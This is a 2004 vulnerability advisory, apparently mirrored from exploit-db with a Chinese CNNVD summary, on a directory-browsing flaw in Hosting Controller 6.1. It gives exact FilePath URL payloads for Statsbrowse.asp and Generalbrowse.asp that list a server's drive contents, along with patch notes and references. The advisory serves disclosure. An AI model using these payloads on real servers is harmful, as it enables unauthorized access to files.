https://www.exploit-db.com/exploits/675
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200501-173

HostingController是一款以同一接口集中管理大量主机任务的应用程序，可运行在MicrosoftWindows操作系统下。HostingController6.1Hotfix1.4版本中存在信息泄露漏洞，其他版本可能也存在同样问题。远程攻击者可利用Statsbrowse.asp或Genralbrowse.asp中的FilePath参数，指定目标路径，从而读取任意目录内容。

Advisory Information
-------------------------

Software Package   	: Hosting Controller
Vendor Homepage    	: http://www.hostingcontroller.com
Platforms          		: Windows based servers
Vulnerable Versions	: All version ( Tested on: v.6.1 Hotfix 1.4 )
Vendor Contacted  	: 12/5/2004
Release Date:      	: 12/7/2004

Summary
------------

Hosting Controller is a complete array of Web hosting automation tools
for the Windows Server family platform.
Hosting Controller has a security flaw which allows attackers to browse
any file and any directory on that server.

Details
---------

Vulnerability - Directories Browsing files on the system.
Foolish vulnerability:

1)This vulnerability is on the admin/mail/Statsbrowse.asp and attackers
can view the Harddisk by using this file.
Login with your account
http://www.yoursite.com/admin
Now you see
http://www.yoursite.com/admin/main.asp
Change this url to
http://www.yoursite.com/admin/mail/Statsbrowse.asp?FilePath=c:&Opt=3&level=1&upflag=0

2)This vulnerability is on the admin/iis/Generalbrowse.asp and attackers
can view the Harddisk by using this file.
Login with your account
http://www.yoursite.com/admin
Now you see
http://www.yoursite.com/admin/main.asp
Change this url to <br/>
http://www.yoursite.com/admin/iis/Generalbrowse.asp?FilePath=C:

Solution
----------

The vender was notified, they have released a patch.
Update Your software

Credits
---------

Discovered on May 6, 2004 by (/) Mouse
[email protected]
Additional Research: s7az2mm and bl2k
http://Shabgard.org

References
-------------

http://isun.Shabgard.org/hc.html
http://isun.Shabgard.org/hc.txt

# milw0rm.com [2004-12-05]

来源:XF
名称:hosting-controller-view-files(18363)
链接:http://xforce.iss.net/xforce/xfdb/18363
来源:BID
名称:11822
链接:http://www.securityfocus.com/bid/11822
来源:BUGTRAQ
名称:20041205HostingController
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110237762807764&w;=2